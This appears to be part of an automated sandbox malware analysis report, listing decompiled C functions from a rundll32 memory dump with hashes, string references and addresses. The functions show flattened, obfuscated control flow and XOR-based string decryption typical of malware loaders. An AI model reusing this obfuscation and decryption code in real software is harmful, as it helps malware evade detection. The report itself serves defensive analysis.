Instruction Fuzzy Hash: EF51523100C341ABC358CF65D98985BFAEAFBC4798F504A1DF59292260D7B1CA48CF83

Uniqueness

Uniqueness Score: -1.00%

Function 029E2560, Relevance: 1.4, Strings: 1, Instructions: 120
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E029E2560(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				void* _t86;
				void* _t103;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				void* _t110;
				void* _t128;
				void* _t129;
				signed int* _t132;

				_push(_a8);
				_t128 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t86);
				_v32 = 0xd5d031;
				_t132 =  &(( &_v60)[4]);
				_t129 = 0;
				_t110 = 0xe79abba;
				_t104 = 0x61;
				_v32 = _v32 / _t104;
				_v32 = _v32 ^ 0x000936ad;
				_v52 = 0x7b29e3;
				_v52 = _v52 + 0xc5d4;
				_t105 = 0x74;
				_v52 = _v52 / _t105;
				_v52 = _v52 ^ 0x0003788e;
				_v60 = 0x16763f;
				_v60 = _v60 >> 2;
				_t106 = 0xc;
				_v60 = _v60 * 0x48;
				_v60 = _v60 | 0x5b99b123;
				_v60 = _v60 ^ 0x5b92a445;
				_v36 = 0xb0c121;
				_v36 = _v36 ^ 0xcd79f569;
				_v36 = _v36 ^ 0xcdcab843;
				_v56 = 0xb4857f;
				_v56 = _v56 / _t106;
				_v56 = _v56 << 0x10;
				_v56 = _v56 ^ 0x0b13ce8e;
				_v40 = 0xf9b4b;
				_t107 = 0x22;
				_v40 = _v40 * 0x16;
				_v40 = _v40 ^ 0xcb90e4d7;
				_v40 = _v40 ^ 0xcacc914a;
				_v44 = 0x18da6a;
				_v44 = _v44 >> 2;
				_v44 = _v44 >> 4;
				_v44 = _v44 ^ 0x00067eb1;
				_v48 = 0x87c0b5;
				_v48 = _v48 / _t107;
				_v48 = _v48 | 0xa549b1b6;
				_v48 = _v48 ^ 0xa54129fc;
				do {
					while(_t110 != 0x6550b73) {
						if(_t110 == 0x66e80ae) {
							__eflags = E029DC5F2(_v40,  &_v28, __eflags, _t128 + 4, _v44, _v48);
							_t129 =  !=  ? 1 : _t129;
						} else {
							if(_t110 == 0xaeedb8a) {
								_t103 = E029D6F23( &_v28, _v36, _t128, _v56);
								_t132 =  &(_t132[2]);
								__eflags = _t103;
								if(__eflags != 0) {
									_t110 = 0x66e80ae;
									continue;
								}
							} else {
								if(_t110 != 0xe79abba) {
									goto L9;
								} else {
									_t110 = 0x6550b73;
									continue;
								}
							}
						}
						L12:
						return _t129;
					}
					E029D777F(_v32, _v52,  &_v28, _a8, _v60);
					_t132 =  &(_t132[3]);
					_t110 = 0xaeedb8a;
					L9:
					__eflags = _t110 - 0xf1e38e5;
				} while (__eflags != 0);
				goto L12;
			}

0x029e2567
0x029e256b
0x029e256d
0x029e2571
0x029e2572
0x029e2573
0x029e2578
0x029e2580
0x029e2589
0x029e258b
0x029e2597
0x029e259c
0x029e25a2
0x029e25aa
0x029e25b2
0x029e25be
0x029e25c3
0x029e25c9
0x029e25d1
0x029e25d9
0x029e25e3
0x029e25e6
0x029e25ea
0x029e25f2
0x029e25fa
0x029e2602
0x029e260a
0x029e2612
0x029e2622
0x029e2626
0x029e262b
0x029e2633
0x029e2640
0x029e2641
0x029e2645
0x029e264d
0x029e2655
0x029e265d
0x029e2662
0x029e2667
0x029e266f
0x029e2682
0x029e2686
0x029e268e
0x029e2696
0x029e2696
0x029e269c
0x029e271a
0x029e271c
0x029e269e
0x029e26a4
0x029e26bf
0x029e26c4
0x029e26c7
0x029e26c9
0x029e26cb
0x00000000
0x029e26cb
0x029e26a6
0x029e26ac
0x00000000
0x029e26ae
0x029e26ae
0x00000000
0x029e26ae
0x029e26ac
0x029e26a4
0x029e2720
0x029e2728
0x029e2728
0x029e26e4
0x029e26e9
0x029e26ec
0x029e26f1
0x029e26f1
0x029e26f1
0x00000000

Strings

){, xrefs: 029E25AA

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: ){
API String ID: 0-1738580931
Opcode ID: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction ID: 4a2632ada3f9383d5e5fcfe444f2b6327f00b6d00d028a1e27cd5109048cd715
Opcode Fuzzy Hash: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction Fuzzy Hash: 3541597190C3019FDB14DF61998691BBBE6FBC8748F008A1EF88696210D771CA19CF93

Uniqueness

Uniqueness Score: -1.00%

Function 029C4F42, Relevance: 1.4, Strings: 1, Instructions: 118
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E029C4F42(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				void* _t99;
				void* _t103;
				void* _t109;
				intOrPtr* _t118;
				intOrPtr _t119;
				void* _t121;
				void* _t122;

				_t107 = _a4;
				_push(_a12);
				_t118 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t99);
				_v40 = 0xbd7d00;
				_t119 = 0;
				_v36 = 0;
				_t122 = _t121 + 0x14;
				_v72 = 0xfa156;
				_t109 = 0xc6818ad;
				_v72 = _v72 << 0xa;
				_v72 = _v72 >> 8;
				_v72 = _v72 | 0x94e04c2c;
				_v72 = _v72 ^ 0x94fecd7c;
				_v44 = 0x8427f5;
				_v44 = _v44 | 0xe07d3b42;
				_v44 = _v44 ^ 0xe0fd3ff7;
				_v80 = 0x711d16;
				_v80 = _v80 + 0x5383;
				_v80 = _v80 ^ 0x18c68fab;
				_v80 = _v80 + 0xffffd8c7;
				_v80 = _v80 ^ 0x18ba4af8;
				_v56 = 0xd8b39c;
				_v56 = _v56 | 0xd8343102;
				_v56 = _v56 ^ 0xd8f79660;
				_v84 = 0x20b33f;
				_v84 = _v84 | 0x6fdfefff;
				_v84 = _v84 ^ 0x6fff291e;
				_v48 = 0xb93fc;
				_v48 = _v48 ^ 0x2913534f;
				_v48 = _v48 ^ 0x291347de;
				_v52 = 0x5cace0;
				_v52 = _v52 + 0xffff5114;
				_v52 = _v52 ^ 0x00536180;
				_v64 = 0x32f40e;
				_v64 = _v64 + 0x59f1;
				_v64 = _v64 >> 7;
				_v64 = _v64 | 0xe1aff7bb;
				_v64 = _v64 ^ 0xe1a16885;
				_v60 = 0x2e340e;
				_v60 = _v60 << 2;
				_v60 = _v60 | 0xc7a14be6;
				_v60 = _v60 ^ 0xc7b54a56;
				_v68 = 0x1533ee;
				_v68 = _v68 << 1;
				_v68 = _v68 * 0x4d;
				_v68 = _v68 ^ 0x15c002b2;
				_v68 = _v68 ^ 0x190a606d;
				_v76 = 0x630228;
				_v76 = _v76 << 0xf;
				_v76 = _v76 * 0x7a;
				_v76 = _v76 ^ 0x8986527c;
				_v76 = _v76 ^ 0x0a007502;
				do {
					while(_t109 != 0x1ec186d) {
						if(_t109 == 0x24db865) {
							E029C67C8(_v48,  &_v32,  *_t107,  *((intOrPtr*)(_t107 + 4)), _t109, _v52, _v64, _t109, _v60,  *((intOrPtr*)( *0x29e5be0 + 0x60)), _v68, _v72, _v76);
							_t119 =  ==  ? 1 : _t119;
						} else {
							if(_t109 != 0xc6818ad) {
								goto L8;
							} else {
								_t109 = 0x1ec186d;
								continue;
							}
						}
						L11:
						return _t119;
					}
					_push(_v84);
					_t103 = E029E0C66( &_v32, _v80, _v56, _t109,  *_t118,  *((intOrPtr*)(_t118 + 4)));
					_t122 = _t122 + 0x14;
					if(_t103 == 0) {
						_t109 = 0x295d1ca;
						goto L8;
					} else {
						_t109 = 0x24db865;
						continue;
					}
					goto L11;
					L8:
				} while (_t109 != 0x295d1ca);
				goto L11;
			}

0x029c4f46
0x029c4f4d
0x029c4f51
0x029c4f53
0x029c4f57
0x029c4f58
0x029c4f59
0x029c4f5a
0x029c4f5f
0x029c4f67
0x029c4f69
0x029c4f6d
0x029c4f70
0x029c4f78
0x029c4f7d
0x029c4f87
0x029c4f8c
0x029c4f94
0x029c4f9c
0x029c4fa4
0x029c4fac
0x029c4fb4
0x029c4fbc
0x029c4fc4
0x029c4fcc
0x029c4fd4
0x029c4fdc
0x029c4fe4
0x029c4fec
0x029c4ff4
0x029c4ffc
0x029c5004
0x029c500c
0x029c5014
0x029c501c
0x029c5024
0x029c502c
0x029c5034
0x029c503c
0x029c5044
0x029c504c
0x029c5051
0x029c5059
0x029c5061
0x029c5069
0x029c506e
0x029c5076
0x029c507e
0x029c5086
0x029c508f
0x029c5093
0x029c509b
0x029c50a3
0x029c50ab
0x029c50b5
0x029c50b9
0x029c50c1
0x029c50c9
0x029c50c9
0x029c50d3
0x029c5148
0x029c5159
0x029c50d5
0x029c50db
0x00000000
0x029c50dd
0x029c50dd
0x00000000
0x029c50dd
0x029c50db
0x029c515d
0x029c5165
0x029c5165
0x029c50e1
0x029c50f7
0x029c50fc
0x029c5101
0x029c510a
0x00000000
0x029c5103
0x029c5103
0x00000000
0x029c5103
0x00000000
0x029c510f
0x029c510f
0x00000000

Strings

B;}, xrefs: 029C4FA4

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: B;}
API String ID: 0-3368358345
Opcode ID: 463459d9b3ba9dcf0c698edd7dd6a04390bd558ef98c4e7778b04902dde0817f
Instruction ID: 5685629705414419c191842d54dd05aa1abb56d9b1d92e0e899b96c8e2d41071
Opcode Fuzzy Hash: 463459d9b3ba9dcf0c698edd7dd6a04390bd558ef98c4e7778b04902dde0817f
Instruction Fuzzy Hash: D25104711083419FC759CF26C98A82BBBE5FBC8758F944A1CF596A6220C3B1D619CF87

Uniqueness

Uniqueness Score: -1.00%

Function 029C635F, Relevance: 1.4, Strings: 1, Instructions: 111
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029C635F() {
				signed char _v2;
				signed int _v276;
				signed int _v280;
				char _v284;
				signed short _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				void* _t91;
				signed int _t99;
				intOrPtr _t101;
				signed int* _t103;

				_t103 =  &_v360;
				_v328 = 0x7ddaa8;
				_t101 = 0;
				_t91 = 0xd147c32;
				_v324 = 0;
				_v340 = 0x5a40e9;
				_v340 = _v340 ^ 0xe19a0f10;
				_v340 = _v340 ^ 0xe1c9b4a5;
				_v336 = 0xa20acf;
				_t99 = 0x25;
				_v336 = _v336 * 0x11;
				_v336 = _v336 ^ 0x0ac621c0;
				_v348 = 0x2deddf;
				_v348 = _v348 * 0x77;
				_v348 = _v348 << 2;
				_v348 = _v348 << 0xc;
				_v348 = _v348 ^ 0x64a3779c;
				_v356 = 0x6ec0f5;
				_v356 = _v356 + 0xffffc556;
				_v356 = _v356 << 5;
				_v356 = _v356 >> 5;
				_v356 = _v356 ^ 0x0064c10a;
				_v344 = 0x4eeee0;
				_v344 = _v344 / _t99;
				_v344 = _v344 ^ 0x00059bd0;
				_v360 = 0x221829;
				_v360 = _v360 + 0xa81e;
				_v360 = _v360 ^ 0x47358257;
				_v360 = _v360 << 8;
				_v360 = _v360 ^ 0x174b0eb8;
				_v332 = 0x241bfc;
				_v332 = _v332 << 3;
				_v332 = _v332 ^ 0x0129a447;
				_v352 = 0xc6a082;
				_v352 = _v352 >> 6;
				_v352 = _v352 + 0xffff0592;
				_v352 = _v352 ^ 0x9b0f7613;
				_v352 = _v352 ^ 0x9b063af9;
				do {
					while(_t91 != 0x216c451) {
						if(_t91 == 0x3b44815) {
							_t91 = 0x94582d7;
							_t101 = _t101 + _v276 * 0x64;
							continue;
						} else {
							if(_t91 == 0x679f814) {
								_t91 = 0xfb19eb6;
								_t101 = _t101 + (_v2 & 0x000000ff) * 0x186a0;
								continue;
							} else {
								if(_t91 == 0x74ec53f) {
									E029CD730(_v344,  &_v320, _v360, _v332, _v352);
									_t103 =  &(_t103[3]);
									_t91 = 0x679f814;
									continue;
								} else {
									if(_t91 == 0x94582d7) {
										_t101 = _t101 + (_v320 & 0x0000ffff);
									} else {
										if(_t91 == 0xd147c32) {
											_t91 = 0x216c451;
											continue;
										} else {
											if(_t91 != 0xfb19eb6) {
												goto L14;
											} else {
												_t91 = 0x3b44815;
												_t101 = _t101 + _v280 * 0x3e8;
												continue;
											}
										}
									}
								}
							}
						}
						L17:
						return _t101;
					}
					_v284 = 0x11c;
					E029E28A6(_v340, _v336,  &_v284, _v348, _v356);
					_t103 =  &(_t103[3]);
					_t91 = 0x74ec53f;
					L14:
				} while (_t91 != 0x8194453);
				goto L17;
			}

0x029c635f
0x029c6365
0x029c6372
0x029c6374
0x029c6379
0x029c6382
0x029c638f
0x029c6397
0x029c639f
0x029c63af
0x029c63b0
0x029c63b4
0x029c63bc
0x029c63c9
0x029c63cd
0x029c63d2
0x029c63d7
0x029c63df
0x029c63e7
0x029c63ef
0x029c63f4
0x029c63f9
0x029c6401
0x029c6414
0x029c6418
0x029c6420
0x029c6428
0x029c6430
0x029c6438
0x029c643d
0x029c6445
0x029c644d
0x029c6452
0x029c645a
0x029c6462
0x029c6467
0x029c646f
0x029c6477
0x029c647f
0x029c647f
0x029c6489
0x029c650b
0x029c650d
0x00000000
0x029c648b
0x029c6491
0x029c64f4
0x029c64ff
0x00000000
0x029c6493
0x029c6499
0x029c64dd
0x029c64e2
0x029c64e5
0x00000000
0x029c649b
0x029c649d
0x029c6551
0x029c64a3
0x029c64a9
0x029c64c5
0x00000000
0x029c64ab
0x029c64b1
0x00000000
0x029c64b7
0x029c64bf
0x029c64c1
0x00000000
0x029c64c1
0x029c64b1
0x029c64a9
0x029c649d
0x029c6499
0x029c6491
0x029c6554
0x029c655f
0x029c655f
0x029c651c
0x029c6531
0x029c6536
0x029c6539
0x029c653e
0x029c653e
0x00000000

Strings

N, xrefs: 029C6401

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: N
API String ID: 0-3948818596
Opcode ID: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction ID: 132f5a751745e81bc53d4c14510c7e3d8721cf2dc03e748592113694a9d7337f
Opcode Fuzzy Hash: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction Fuzzy Hash: 1F41A9711083819BC758CE25D55942FBBEAFBC4748F204E2EF5DA66264D3B48A09CF93

Uniqueness

Uniqueness Score: -1.00%

Function 029CDD66, Relevance: 1.3, Strings: 1, Instructions: 92
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E029CDD66(void* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v572;
				intOrPtr* _t96;

				_v52 = 0;
				_v40 = 0x7300fa;
				_v40 = _v40 | 0x2db2dd58;
				_v40 = _v40 ^ 0x2dfee657;
				_v36 = 0x35d85b;
				_v36 = _v36 + 0xffffd1bd;
				_v36 = _v36 ^ 0xd90d7d96;
				_v36 = _v36 ^ 0xd939fcef;
				_v20 = 0x8d275d;
				_v20 = _v20 + 0xffff99c8;
				_v20 = _v20 + 0xe62a;
				_v20 = _v20 ^ 0x00813b29;
				_v28 = 0x504343;
				_v28 = _v28 | 0xa2e06eae;
				_v28 = _v28 >> 4;
				_v28 = _v28 ^ 0x0a2f1696;
				_v44 = 0x23a61c;
				_v44 = _v44 << 9;
				_v44 = _v44 ^ 0x4745029f;
				_v16 = 0x71b394;
				_v16 = _v16 >> 6;
				_v16 = _v16 + 0xd5db;
				_v16 = _v16 ^ 0x000ff402;
				_v12 = 0x99d312;
				_v12 = _v12 + 0xffffa2d6;
				_v12 = _v12 << 0xf;
				_v12 = _v12 ^ 0xbaf75123;
				_v24 = 0xef55a;
				_v24 = _v24 >> 0xc;
				_v24 = _v24 | 0xbc1fdfbe;
				_v24 = _v24 ^ 0xbc1fa846;
				_v8 = 0x9142c3;
				_v8 = _v8 + 0x491;
				_v8 = _v8 + 0x2a90;
				_v8 = _v8 | 0xb85b18bc;
				_v8 = _v8 ^ 0xb8d39333;
				_v48 = 0x639ea3;
				_v48 = _v48 ^ 0xfdf11e94;
				_v48 = _v48 ^ 0xfd9ec843;
				_v32 = 0x4d40c6;
				_v32 = _v32 >> 0xd;
				_v32 = _v32 << 2;
				_v32 = _v32 ^ 0x00048dce;
				_push(__ecx);
				_t101 = _v40;
				if(E029DAFB0(_v40, _v36, _v20,  &_v572, _v28) != 0) {
					_t96 =  &_v572;
					if(_v572 != 0) {
						while( *_t96 != 0x5c) {
							_t96 = _t96 + 2;
							if( *_t96 != 0) {
								continue;
							} else {
							}
							goto L6;
						}
						_t101 = 0;
						 *((short*)(_t96 + 2)) = 0;
					}
					L6:
					E029C8AC1( &_v52, _v44, _v16, _t101, _t101,  &_v572, _v12, _t101, _v24, _v8, _v48, _t101, _v32);
				}
				return _v52;
			}

0x029cdd78
0x029cdd7b
0x029cdd82
0x029cdd89
0x029cdd90
0x029cdd97
0x029cdd9e
0x029cdda5
0x029cddac
0x029cddb3
0x029cddba
0x029cddc1
0x029cddc8
0x029cddcf
0x029cddd6
0x029cddda
0x029cdde1
0x029cdde8
0x029cddec
0x029cddf3
0x029cddfa
0x029cddfe
0x029cde05
0x029cde0c
0x029cde13
0x029cde1a
0x029cde1e
0x029cde25
0x029cde2c
0x029cde30
0x029cde37
0x029cde3e
0x029cde45
0x029cde4c
0x029cde53
0x029cde5a
0x029cde61
0x029cde68
0x029cde6f
0x029cde76
0x029cde7d
0x029cde81
0x029cde85
0x029cde8c
0x029cde97
0x029cdea4
0x029cdea6
0x029cdeb3
0x029cdeb5
0x029cdebb
0x029cdec1
0x00000000
0x00000000
0x029cdec3
0x00000000
0x029cdec1
0x029cdec5
0x029cdec7
0x029cdec7
0x029cdecb
0x029cdeef
0x029cdef4
0x029cdefe

Strings

CCP, xrefs: 029CDDC8

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: CCP
API String ID: 0-1034069945
Opcode ID: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction ID: a795001aa2e10daaf6461a8a6159d993b97d1deef3f6ade3b7ae481e7ac57bb3
Opcode Fuzzy Hash: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction Fuzzy Hash: FF41F1B2C0031DABCF59DFE4C94A8EEBBB4FB14308F108198D511B2260E3B41A55DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 029C54C0, Relevance: 1.3, Strings: 1, Instructions: 84
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029C54C0(void* __ecx, void* __edx) {
				void* _t37;
				signed int _t41;
				unsigned int* _t53;
				signed int _t54;
				signed int _t56;
				signed int _t61;
				unsigned int _t62;
				unsigned int _t63;
				unsigned int* _t67;
				signed int* _t68;
				signed int* _t69;
				signed int* _t70;
				unsigned int _t72;
				void* _t78;
				void* _t80;
				void* _t82;
				void* _t83;

				_t70 =  *(_t82 + 0x20);
				_push(_t70);
				_push(__edx);
				E029C8002(_t37);
				 *(_t82 + 0x28) =  *(_t82 + 0x28) & 0x00000000;
				_t68 =  &(_t70[1]);
				 *((intOrPtr*)(_t82 + 0x24)) = 0xe0903d;
				 *(_t82 + 0x30) = 0x212a03;
				 *(_t82 + 0x30) =  *(_t82 + 0x30) * 0x27;
				 *(_t82 + 0x30) =  *(_t82 + 0x30) >> 8;
				 *(_t82 + 0x30) =  *(_t82 + 0x30) | 0x585d2b32;
				 *(_t82 + 0x30) =  *(_t82 + 0x30) ^ 0x585a4f08;
				 *(_t82 + 0x18) = 0x2a7ac8;
				 *(_t82 + 0x18) =  *(_t82 + 0x18) | 0x85d0f28f;
				 *(_t82 + 0x18) =  *(_t82 + 0x18) ^ 0x85f35d28;
				_t56 =  *_t70;
				_t69 =  &(_t68[1]);
				_t41 =  *_t68 ^ _t56;
				 *(_t82 + 0x1c) = _t56;
				 *(_t82 + 0x20) = _t41;
				_t22 = _t41 + 1; // 0x212a04
				_t72 =  !=  ? (_t22 & 0xfffffffc) + 4 : _t22;
				_t83 = _t82 + 8;
				_t53 = E029D6F53(_t72);
				 *(_t83 + 0x28) = _t53;
				if(_t53 != 0) {
					_t80 = 0;
					_t67 = _t53;
					_t78 =  >  ? 0 :  &(_t69[_t72 >> 2]) - _t69 + 3 >> 2;
					if(_t78 != 0) {
						_t54 =  *(_t83 + 0x14);
						do {
							_t61 =  *_t69;
							_t69 =  &(_t69[1]);
							_t62 = _t61 ^ _t54;
							 *_t67 = _t62;
							_t67 =  &(_t67[1]);
							_t63 = _t62 >> 0x10;
							 *((char*)(_t67 - 3)) = _t62 >> 8;
							 *(_t67 - 2) = _t63;
							_t80 = _t80 + 1;
							 *((char*)(_t67 - 1)) = _t63 >> 8;
						} while (_t80 < _t78);
						_t53 =  *(_t83 + 0x28);
					}
					 *((char*)(_t53 +  *((intOrPtr*)(_t83 + 0x18)))) = 0;
				}
				return _t53;
			}

0x029c54c5
0x029c54ca
0x029c54cb
0x029c54cd
0x029c54d2
0x029c54d7
0x029c54da
0x029c54e2
0x029c54ef
0x029c54f3
0x029c54f8
0x029c5500
0x029c5508
0x029c5510
0x029c5518
0x029c5520
0x029c5524
0x029c5527
0x029c5529
0x029c552d
0x029c5531
0x029c5541
0x029c554c
0x029c5556
0x029c5558
0x029c555f
0x029c5567
0x029c5569
0x029c557a
0x029c557f
0x029c5581
0x029c5585
0x029c5585
0x029c5587
0x029c558a
0x029c558c
0x029c5593
0x029c5596
0x029c5599
0x029c559c
0x029c55a2
0x029c55a3
0x029c55a6
0x029c55aa
0x029c55aa
0x029c55b3
0x029c55b3
0x029c55bf

Strings

2+]X, xrefs: 029C54F8

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 2+]X
API String ID: 0-635157736
Opcode ID: 9af7a846e36ffc53201a2d62e203d9e556d8c0d31287eb9c6d7d7f30b22e5f39
Instruction ID: 6e3e555e132b6674c316387358e3d760fa4c4808c6177d29b00b254ad4a9eeaf
Opcode Fuzzy Hash: 9af7a846e36ffc53201a2d62e203d9e556d8c0d31287eb9c6d7d7f30b22e5f39
Instruction Fuzzy Hash: 5E31AA72A283419BC314CF2CC48195AFBE4FFD8614F964A2DE885A7241C730EA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 029D8518, Relevance: 1.3, Strings: 1, Instructions: 82
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E029D8518(void* __ecx, void* __edx, void* __eflags, signed int* _a4, intOrPtr _a8, signed int _a12) {
				signed int _v4;
				signed int _v8;
				unsigned int _v12;
				void* _t35;
				signed int _t40;
				signed int* _t52;
				signed int _t54;
				void* _t60;
				signed int _t65;
				void* _t71;
				unsigned int _t73;
				void* _t75;
				signed int* _t76;
				signed int* _t77;
				void* _t78;

				_t52 = _a4;
				_t76 = _a12;
				_push(_t76);
				_push(_a8);
				_push(_t52);
				_push(__edx);
				E029C8002(_t35);
				_v12 = 0xe8ed67;
				_t5 =  &_v12; // 0xe8ed67
				_t54 = 0xd;
				_v12 =  *_t5 * 0x75;
				_v12 = _v12 >> 4;
				_v12 = _v12 ^ 0x06ad2a93;
				_a12 = 0xc4a0ed;
				_a12 = _a12 ^ 0xc09ae0bc;
				_a12 = _a12 >> 9;
				_a12 = _a12 / _t54;
				_a12 = _a12 ^ 0x000f7204;
				_t40 =  *_t76;
				_t77 =  &(_t76[2]);
				_t65 = _t76[1] ^ _t40;
				_v8 = _t40;
				_v4 = _t65;
				_t73 =  !=  ? (_t65 & 0xfffffffc) + 4 : _t65;
				_t78 = E029D6F53(_t73);
				if(_t78 == 0) {
					L6:
					return _t78;
				}
				_t75 = 0;
				_t71 =  >  ? 0 :  &(_t77[_t73 >> 2]) - _t77 + 3 >> 2;
				if(_t71 == 0) {
					L4:
					if(_t52 != 0) {
						 *_t52 = _v4;
					}
					goto L6;
				}
				_t60 = _t78 - _t77;
				do {
					_t75 = _t75 + 1;
					 *(_t60 + _t77) =  *_t77 ^ _v8;
					_t77 =  &(_t77[1]);
				} while (_t75 < _t71);
				goto L4;
			}

0x029d851c
0x029d8522
0x029d8527
0x029d8528
0x029d852c
0x029d852d
0x029d852f
0x029d8534
0x029d853e
0x029d8545
0x029d8546
0x029d854a
0x029d854f
0x029d8557
0x029d855f
0x029d8567
0x029d8572
0x029d8576
0x029d857e
0x029d8583
0x029d8586
0x029d8588
0x029d858e
0x029d859f
0x029d85b4
0x029d85b9
0x029d85f9
0x029d8600
0x029d8600
0x029d85c3
0x029d85d1
0x029d85d6
0x029d85ed
0x029d85ef
0x029d85f5
0x029d85f5
0x00000000
0x029d85ef
0x029d85da
0x029d85dc
0x029d85e2
0x029d85e3
0x029d85e6
0x029d85e9
0x00000000

Strings

g, xrefs: 029D853E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: g
API String ID: 0-1037297435
Opcode ID: ed2d3411591c9bade3975cdd3b74d7b7f3e012881e3329a84863a10a6f19d331
Instruction ID: e3cd0c275463ef5f41eeed979a865f53a3e7c4354d108db54670da5b310db637
Opcode Fuzzy Hash: ed2d3411591c9bade3975cdd3b74d7b7f3e012881e3329a84863a10a6f19d331
Instruction Fuzzy Hash: B021AD726083009FC354DE2AD88151BB7E6EFD8718F548A6DF499D3254DBB0D9058F42

Uniqueness

Uniqueness Score: -1.00%

Function 029E314A, Relevance: 1.3, Strings: 1, Instructions: 63
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E029E314A(void* __ecx, signed int __edx, void* __eflags) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				signed int _t65;
				signed int _t76;
				signed int _t77;

				_v32 = 4;
				_v8 = 0x679b48;
				_v8 = _v8 ^ 0x36d036c6;
				_t76 = 7;
				_v8 = _v8 / _t76;
				_v8 = _v8 + 0xffffe363;
				_v8 = _v8 ^ 0x27d0fc2e;
				_v28 = 0xca3f8a;
				_v28 = _v28 | 0x5f19d559;
				_v28 = _v28 ^ 0x5fd4df7d;
				_v16 = 0x25dc74;
				_v16 = _v16 ^ 0x4bac6647;
				_t77 = 0x56;
				_v16 = _v16 / _t77;
				_v16 = _v16 ^ 0x00eef229;
				_v12 = 0x644742;
				_v12 = _v12 + 0xffff8688;
				_v12 = _v12 ^ 0xe2851925;
				_v12 = _v12 ^ 0xe2ee0801;
				_v24 = 0x14af58;
				_v24 = _v24 * 0x58;
				_v24 = _v24 ^ 0x071df5ba;
				_v20 = 0xe4b590;
				_v20 = _v20 >> 2;
				_v20 = _v20 ^ 0x003fbc31;
				_t65 = E029D03C7(_v28,  &_v32, _v16, __ecx, _v12, _v8 | __edx, __ecx, _v24,  &_v36, _v20);
				asm("sbb eax, eax");
				return  ~_t65 & _v36;
			}

0x029e3150
0x029e3157
0x029e315e
0x029e316c
0x029e3175
0x029e317a
0x029e3181
0x029e3188
0x029e318f
0x029e3196
0x029e319d
0x029e31a4
0x029e31ae
0x029e31b4
0x029e31b7
0x029e31be
0x029e31c5
0x029e31cc
0x029e31d3
0x029e31da
0x029e31e5
0x029e31eb
0x029e31f2
0x029e31f9
0x029e31fd
0x029e321c
0x029e3226
0x029e3230

Strings

BGd, xrefs: 029E31BE

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: BGd
API String ID: 0-2042166335
Opcode ID: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction ID: 8e032345730466091aac2e392fa5897cc05b1a1430016f4a448b67355a676763
Opcode Fuzzy Hash: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
